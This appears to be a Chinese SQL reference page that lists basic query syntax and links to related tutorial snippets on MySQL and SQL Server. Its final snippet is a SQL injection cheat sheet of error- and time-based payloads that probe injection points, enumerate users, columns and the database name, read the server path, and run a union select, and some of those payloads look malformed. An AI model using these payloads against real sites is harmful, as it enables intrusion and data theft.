SQL(Structured Query Language)是用于管理和操作数据库的标准编程语言,是数据存储、查询、更新和管理的核心工具。以下是SQL的9种基础语法: 1. SELECT语句:基本查询语句,用于从数据库中选取数据。示例:SELECT * FROM table_name;
2. FROM子句:指定要查询的表。示例:SELECT column_name FROM table_name;
3. WHERE子句:过滤满足特定条件的记录。示例:SELECT column_name FROM table_name WHERE condition;
4. ORDER BY子句:对结果集进行排序。示例:SELECT column_name FROM table_name ORDER BY column_name ASC/DESC;
5. GROUP BY子句:对数据进行分组。示例:SELECT column_name, COUNT(*) FROM table_name GROUP BY column_name;
6. HAVING子句:过滤GROUP BY后的结果。示例:SELECT column_name, COUNT(*) FROM table_name GROUP BY column_name HAVING COUNT(*) > some_value;
7. JOIN操作:合并两个或更多表的数据。示例:SELECT * FROM table1 JOIN table2 ON table1.id = table2.id;
8. INSERT语句:向表中插入新记录。示例:INSERT INTO table_name (column1, column2) VALUES (value1, value2);
9. UPDATE语句:更新现有记录。示例:UPDATE table_name SET column1 = value1 WHERE condition;
SQL常用语法及示例汇总
相关推荐
MySQL常用语句汇总
MySQL 常用语句详解
一、建表(CREATE TABLE)
在MySQL中,创建一张新的数据表是一项基础操作,通常使用CREATE TABLE语句完成。例如:
CREATE TABLE students (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(50) NOT NULL,
age INT,
gender ENUM('male', 'female'),
address VARCHAR(100)
);
此语句创建了一个名为students的新表,并定义了多个字段:id作为主键,自动递增;name存储姓名,不能为空;age存储年龄;gender存储性别;address存储地址。
二、查看表结构(DESCRIBE)
为了了解现有表的结构,可以使用DESCRIBE或简写为DESC命令:
DESCRIBE students;
这将返回表students的所有字段及其属性。
三、增加字段(ALTER TABLE ADD COLUMN)
如果需要向已有的表中添加新字段,可以使用ALTER TABLE语句:
ALTER TABLE students ADD COLUMN education VARCHAR(50);
这条命令向students表添加了一个新的字段education,用于存储学生的学历信息。
四、删除字段(ALTER TABLE DROP COLUMN)
删除一个字段同样使用ALTER TABLE语句,但命令稍有不同:
ALTER TABLE students DROP COLUMN education;
这会从students表中移除字段education。
五、插入数据(INSERT INTO)
向表中插入数据是最常见的操作之一,可以通过INSERT INTO语句实现:
INSERT INTO students (name, age, gender, address) VALUES ('张三', 20, 'male', '北京市');
这条语句向students表中插入了一条新的记录。
MySQL
0
2024-11-01
MySQL常用语法详解
MySQL作为数据库管理系统,其常用语法涵盖了基本查询和结果集处理等多个方面。例如,可以通过SELECT语句选取特定列,使用mysql_fetch_row()和mysql_fetch_array()函数处理查询结果集。此外,MySQL还支持级联更新与删除操作,如CASCADE ON UPDATE。技术进步推动下,MySQL在数据管理中发挥着重要作用。
MySQL
0
2024-09-20
SQL常用语句及操作
表操作
创建表:可定义多个字段及数据类型
删除表:删除表结构及所有数据
清空表:保留表结构,删除所有记录
备份表:创建现有表的副本
查询操作
使用 SELECT 语句检索数据
使用 AS 关键字为查询结果中的列指定别名
使用 DISTINCT 关键字消除结果集中重复的行
使用 LIMIT 关键字限制返回的行数
数据更新
使用 UPDATE 语句修改现有数据
使用 SUBSTRING 函数修改字段中特定位置的字符
数据统计
使用聚合函数 (如 COUNT、SUM、AVG、MAX、MIN) 进行数据统计分析
SQLServer
4
2024-06-22
SQL常用语句示例学习(新手)
随着对SQL语句的学习深入,你将掌握SQL常用语句的应用。
SQLServer
0
2024-09-21
SQL 常用语句速查
掌握常用的 SQL 语句,能帮助您更高效地进行数据库操作。
SQLServer
2
2024-05-25
SQL Server 常用语句
聚合函数
COUNT(*):统计行数
SUM(column):求和
AVG(column):计算平均值
MAX(column):查找最大值
MIN(column):查找最小值
数据筛选
WHERE column operator value:根据条件筛选行
LIKE:模糊匹配
IN:指定多个值进行匹配
BETWEEN:指定值的范围
数据排序
ORDER BY column ASC:升序排序
ORDER BY column DESC:降序排序
数据分组
GROUP BY column:根据指定列分组
HAVING:对分组后的结果进行筛选
数据连接
INNER JOIN:返回两个表中匹配的行
LEFT JOIN:返回左表的所有行和右表匹配的行
RIGHT JOIN:返回右表的所有行和左表匹配的行
数据更新
UPDATE table SET column = value WHERE condition:更新表数据
数据插入
INSERT INTO table (column1, column2, ...) VALUES (value1, value2, ...):向表中插入数据
数据删除
DELETE FROM table WHERE condition:从表中删除数据
SQLServer
5
2024-05-27
SQL 常用语句速查
数据查询
查询所有列: SELECT * FROM 表名;
查询指定列: SELECT 列1, 列2 FROM 表名;
条件查询: SELECT * FROM 表名 WHERE 条件;
排序: SELECT * FROM 表名 ORDER BY 列名 [ASC|DESC];
限制结果数量: SELECT * FROM 表名 LIMIT 数量;
数据操作
插入数据: INSERT INTO 表名 (列1, 列2) VALUES (值1, 值2);
更新数据: UPDATE 表名 SET 列1 = 值1, 列2 = 值2 WHERE 条件;
删除数据: DELETE FROM 表名 WHERE 条件;
表操作
创建表: CREATE TABLE 表名 (列名 数据类型, ...);
修改表结构: ALTER TABLE 表名 操作;
删除表: DROP TABLE 表名;
其他常用语句
分组统计: SELECT 列1, COUNT(*) FROM 表名 GROUP BY 列1;
连接查询: SELECT * FROM 表1 JOIN 表2 ON 连接条件;
子查询: SELECT * FROM 表1 WHERE 列1 IN (SELECT 列1 FROM 表2);
SQLServer
3
2024-05-27
SQL常用语句宝典
涵盖了各种常用的SQL语句,无论你是刚入门的小白,还是经验丰富的老手,都能在这里找到你需要的SQL语句,助力你的数据库操作!
SQLServer
3
2024-05-28
SQL注入常用语句
常用语句:
判断注入点:-1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN SLEEP(5) ELSE 0 END)) FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY CHARSET))a)) AND (-1)--+
猜帐号数目:-1 AND (SELECT COUNT(),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN COUNT() ELSE 0 END)) FROM INFORMATION_SCHEMA.USERS GROUP BY USER))a)) AND (-1)--+
猜解字段名称:-1 AND (SELECT COUNT(*),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN COLUMN_NAME ELSE 0 END)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x74657374))a)) AND (-1)--+
猜解字符:-1 AND (SELECT COUNT(*),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN SUBSTRING(0x74657374,1,1) ELSE 0 END)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x74657374))a)) AND (-1)--+
得到库名:-1 AND (SELECT COUNT(*),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN DATABASE() ELSE 0 END)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x74657374))a)) AND (-1)--+
得到WEB路径:-1 AND (SELECT COUNT(*),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN @@basedir ELSE 0 END)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x74657374))a)) AND (-1)--+
查询构造:0' union select 1,2,3,4--+
SQLServer
7
2024-04-30